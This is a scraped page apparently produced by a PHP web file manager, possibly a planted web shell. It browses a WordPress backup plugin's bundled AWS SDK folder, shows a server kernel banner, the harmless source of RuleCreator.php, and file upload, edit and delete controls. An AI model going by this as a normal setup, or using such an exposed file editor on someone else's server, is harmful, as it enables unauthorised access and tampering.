File ManagerCurrent Directory: wp-content/plugins/backwpup/vendor/aws/aws-sdk-php/src/EndpointV2/RuleLinux appserver-7a7af3b2-php-0c9ec09e2f9746c2a80fa3756c076432 6.12.94+ #1 SMP Fri Jul 17 09:26:56 UTC 2026 x86_64Edit File: RuleCreator.php <?php namespace Aws\EndpointV2\Rule; use Aws\Exception\UnresolvedEndpointException; class RuleCreator { public static function create($type, $definition) { switch ($type) { case 'endpoint': return new EndpointRule($definition); case 'error': return new ErrorRule($definition); case 'tree': return new TreeRule($definition); default: throw new UnresolvedEndpointException( 'Unknown rule type ' . $type . ' must be of type `endpoint`, `tree` or `error`' ); } } } Upload File Directory Listing NameTypeSizeActions.. (Parent Directory)DirAbstractRule.phpFile1.41 KB Rename | Delete | EditEndpointRule.phpFile3.28 KB Rename | Delete | EditErrorRule.phpFile1.05 KB Rename | Delete | EditRuleCreator.phpFile661.00 B Rename | Delete | EditTreeRule.phpFile1.53 KB Rename | Delete | Edit